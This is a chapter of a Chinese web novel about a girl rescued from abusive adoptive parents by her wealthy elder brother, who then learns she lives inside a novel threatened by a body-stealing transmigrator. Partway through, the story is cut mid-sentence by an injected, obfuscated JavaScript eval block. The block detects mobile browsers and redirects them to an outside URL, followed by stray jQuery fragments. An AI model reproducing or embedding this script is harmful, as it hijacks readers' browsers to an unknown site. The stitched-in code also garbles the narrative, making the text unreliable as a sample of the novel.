第二章
为首的男人很高,穿着简单的白衬衫和灰色西裤,袖口挽到小臂。身后跟着两个同样穿着一丝不苟的人。而男人本人,正用一块方巾擦着手——好像刚刚碰过什么脏东西。
他的视线扫过昏暗的客厅、暴怒的赵大民夫妇,最后落在许之桃脸上。
许之桃皱眉,只当是另一家MCN公司也来抢她。
周经纪人显然也是这样认为的,抢在几人前面开口质问:“你们是谁?私闯民宅可是犯法的!”
“我是许铭。”男人打断他,把用过的方巾递给身后的人,“许之桃的亲生哥哥。”
“至于私闯民宅——”他微微侧头,“张律师。”
身后的男人上前一步,声音平静:“我们已于三小时前完成对赵大民、郭萍涉嫌虐待被拐卖儿童案件的报案及证据提交。警方正在赶来的路上。我们进入房间,是为了确保当事人许之桃的安全。”
客厅死一般寂静。
赵大民手里的笔掉在地上。
郭萍嘴唇哆嗦着,想说什么,却发不出声音。
周经纪人没想到签个主播还能扯出拐卖案,脸色变了变,强笑道:“这……这是家务事,我不参与。合同改天再聊——”他抓起公文包想走。
“周先生。”许铭叫住他,语气依旧平静,“星光传媒,注册资本五十万,实际控股人周建明,也就是你。近两年涉及劳务纠纷十七起,其中十起与未成年主播有关。一个小时前,贵司刚因合同欺诈被立案调查。”他顿了顿,“法院传票应该已经进了贵司的邮箱。还有,AS集团会为所有受害者提供无偿的法律援助。”
AS集团,听到这个名字,周经纪人一屁股跌坐在地。
AS集团的法务部成立至今无一败绩,商界无人不害怕AS的“律师函警告”。
周经纪人试图做最后的挣扎:“许先生……我们星光和你们无冤无仇,用不着把人往死路上逼吧?”
“从你们公司决定对许之桃挖坑的时候,就已经走上死路了。”
许铭不再看他,目光转向许之桃。
小姑娘还站在原地,赤着脚,裤腿沾着水泥灰,背脊挺得笔直,眼睛偷偷打量他,有好奇但更多的是警惕。
许铭朝她走近两步,又在合适的距离停下,没有贸然触碰:“桃桃。”
他叫她的名字,声音比刚才低了半分,认认真真自我介绍:“我是许铭。你的大哥。”
许之桃的眼底闪过诧异,张张嘴,却没能发出声音。
她脑子里嗡嗡作响——亲生哥哥?她有亲哥哥?
“十年前,你在市立公园门口被抱走。”许铭继续说,语速很慢,等她慢慢消化,“当时你穿着黄色小鸭子图案的连衣裙,后腰上有一块胎记。”
许之桃下意识捂住有胎记的后腰。她的胎记很隐秘,连养父母都不知情。
“这些年,家里没有一天停止找你。”许铭看着她,那双深湖似的眼睛里微微泛红,“抱歉,哥哥来晚了。”
巷口传来警笛声,由远及近。
郭萍突然瘫坐在地上,哭嚎起来。赵大民面如死灰。周经纪人想趁乱溜走,被许铭身后的保镖拦住了去路。
一片混乱中,许铭朝许之桃伸出手。
不是要拽她,也不是命令她。
那只手静静地悬在半空,掌心向上,在等待她的同意。
许之桃看着面前伸出的手,又抬头看向这个自称是她哥哥的男人,眼眶又干又涩。
她伸手回握住许铭,警察们纷涌而入,一片混乱中,她听到许铭沉稳又坚定地保证:“桃桃,那种卖身契,以后不会再有人能逼你签。”
……
许之桃坐进许铭的黑色迈巴赫,隔着车窗,她看到赵大民在警车上骂骂咧咧,郭萍抱着自己一百八十斤的脑瘫儿子哭得撕心裂肺。
她只是淡淡看了一眼,很快收回视线。
这些年,她在这一家三口手里受过太多苛待,对他们不可能有任何感情。
车内空调开得很足,真皮座椅散发着陌生的香气,和她平时挤的公交车天差地别。
许铭坐在她旁边,没说话,只是从车载冰箱里取出一瓶水,拧开递给她。
许之桃接过水喝了口,声音还是透着干涩:“我们去哪儿?”
“回家。”许铭回答,顿了顿,补充道,“我们的家。”
“我怎么知道你不是另一伙人贩子?”许之桃转过头直视他。
这是她第一次仔细打量这张脸——轮廓深刻,鼻梁高挺,眉眼间有一种久居上位的疏淡。好看,但和她没有半分相似。她指了指自己的脸,又指指他,“我们长得一点都不像。”
开车的司机明显僵了一下,透过后视镜飞快地瞥了一眼。
许铭被她问得一噎,很快又笑起来,冷淡的脸上蒙上一层暖色:“我这儿有咱们的全家福。”
说完,他从西装内袋里取出皮夹,打开,里面是一张泛黄的老照片。
照片上是一对中年夫妇,中间站着三个男孩。而女人怀里,还抱着一个穿黄色裙子的小女孩。
“这是十年前的全家福。”许铭把照片递到她面前,指尖点在那个女孩的位置,“你。爸爸。妈妈。”
他又指了下那对中年夫妇,然后指向中间的青年:“这是我。这个是你二哥许予谦,你三哥许怀星,他们俩是异卵双胞胎,你还记得吗?”
许之桃不记得了。
她沉默着,盯着照片上小小的自己。
她丢失的时候已经五岁了,明明已经是可以记事的年纪,她却什么都不记得了,很奇怪。
“你和我的长相不像也正常。”许铭收起东西,语气依旧平淡,“我是爸爸妈妈过继的孩子,从血缘上来说,我们是堂兄妹。我的亲生父母是你大伯和大伯母,他们在我出生不久去世了。”
许之桃抿紧嘴唇,她有些信了,但十年来的颠沛生活,让她还是保存着几分警惕。
“如果我还是不信呢?”她听见自己硬邦邦地问。
许铭沉默了几秒:“你还是不相信的话,等回了家,我带你去做亲子鉴定。当然,哪怕我们的血缘关系成立,你不想认我们,我也尊重你的决定。”
他再次补充:“你可以选择在任何时候离开。我会给你一笔足够你安稳生活的钱,安排律师帮你彻底脱离赵大民夫妇的法律关系,确保他们再也不能打扰你。你可以去任何你想去的地方,做任何你想做的事。”
他看向她,目光沉静而直接:“但在这之前,至少去看看那个你本该长大的地方。见见另外两个哥哥,他们都很想你。”
许之桃鼻子有点酸,偏头看向窗外,破败的城中村被远远甩在身后,仿佛在宣告她的新生活即将开始:“为什么不早点找到我……我一直在等你们……”
她等了太久,久到以为自己其实是被亲生父母抛弃的可怜虫。
“抱歉,桃桃,我们没有一刻放弃寻找过你。”
许铭掏出手帕,想帮她擦眼泪,又怕突然的举动唐突了她,捏着手帕的手不上不下地悬在空中,“只是这些年,我们一直没找到你的下落。”
直到许之桃发在网上的搬砖视频爆红,隔着屏幕,许铭一眼认出,那就是他们失散多年的妹妹。
他立刻驱车来到这个偏僻县城,终于赶在赵大民夫妇把她卖给黑心公司前登门。
许之桃盯着许铭,张张嘴,刚准备说话,一段记忆突然涌入脑海。
她这才知道,她是一本团宠文里的倒霉原主。剧情设定她没有五岁前的记忆,这样三个哥哥才会更心疼她。
被拐十年,她吃了很多苦,三个哥哥都对她极其愧疚,在她回
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304959|198675||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家后,用尽一切手段弥补她。
穿书者看中宠爱她的三个哥哥,借机霸占了她的身体。
从此,“许之桃”开始作天作地,还撒泼打滚带哥哥们参加一部亲情综艺。综艺里,她凭借各种极品操作惹怒众人,三个哥哥对她无脑袒护,最后各个下场凄惨。
许家垮台后,穿书者不满生活质量下降,直接毁掉她的身体,自己转头找到更合适的宿主。
许之桃接收完记忆,垂在身侧的双手不由紧握成拳。
这也太过分了。
“宿主,不要着急,我有办法哟~”系统的声音在她脑海里响起,“只要你赶在身体被穿越者霸占前,耗光三个哥哥对你的感情,穿越者就没法利用他们作妖啦!当然,穿越者的事,你不能告诉任何人,否则你会被当场抹灭!”
耗光三个哥哥对她的感情?
她和三个哥哥多年未见,耗光感情应该很容易吧?她心里暗自思忖。
……
不知道过了多久,迈巴赫的行驶速度降下来,一栋装潢精美的别墅出现在许之桃的视线里。
黑色感应大门缓缓打开,迈巴赫在庭院停稳,立刻有穿着制服的佣人上前开门迎接:“许总,您回来了。这是小小姐吧?真漂亮。”
许之桃在许铭的搀扶下了车,脚踩在石板路上,还有种做梦似的不真实感。
许铭走在她身侧,没有催促,陪同她一起慢慢往里走。
砰——
一道身影从别墅里风风火火地冲出来。
来人个子很高,染着时下最流行的银灰色头发,几缕挑染成亮眼的蓝色,一看就是经过精心打理:“大哥!是不是接到桃桃了!”
许铭担心许怀星吓到桃桃,微微蹙眉:“老三,你动静小点,别吓着桃桃。”
许怀星哪里还听得进去,一个箭步冲下台阶:“桃桃,你长这么大了,我是你三哥!”
许之桃的视线落在许怀星的脸上,发现这张脸有点眼熟——好像在某个同学的屏保上见过,也在超市门口的代言人海报上见过。
应该是个明星?
两人视线对上的瞬间,许怀星一把抱住她:“桃桃,你怎么这么瘦啊,比视频里看着还要瘦。天杀的人贩子!老子要在庭审的时候,把伞插进人贩子的屁股里再狠狠撑开!”
说着说着,许怀星的语气忍不住哽咽,转过身,用力抹掉眼泪。
好不容易缓了些情绪,他深吸一口气,重新转过头,努力挤出平日能引得粉丝尖叫的灿烂笑容:“欢迎回家!我是你三哥许怀星,是唱歌的。你知不知道我?”
这句话问出来,他有些紧张地揪住衣角。
许之桃仰起脸看许怀星,那张在舞台上闪闪发光的脸,此刻离她只有一步之遥。许怀星耳垂上那枚羽毛形状的耳钉,随着他微微发抖的身体轻轻晃动。
她当然不知道他。
过去的十年里,她连努力活下去都得费尽力气,追星对她而言太遥远了。
但短短片刻接触,她也能感受到许怀星对她的心疼。如果说了实话,恐怕许怀星会更心疼她,她可不希望穿书者利用许怀星对她的感情。
一个对明星了如指掌的妹妹,应该不会让许怀星觉得可怜了吧?
“大明星三哥,我知道你!”许之桃脸不红心不跳地撒谎。
为了证明自己说的都是真的,她让系统调出许怀星的档案,跟着念:“许怀星十六岁以练习生身份出道,出道第一年获得最佳新人人气奖,第一张专辑销量破百万,从此成为内娱顶流偶像……”
她刚念完,只见许怀星刚擦干净的眼泪又流出来,哭得泣不成声:“我真该死啊,呜呜呜……桃桃这么了解我,我却不了解她,没有我的这十年,桃桃该多难过啊呜呜呜……”
许之桃:?怎么和她想得完全不一样?!!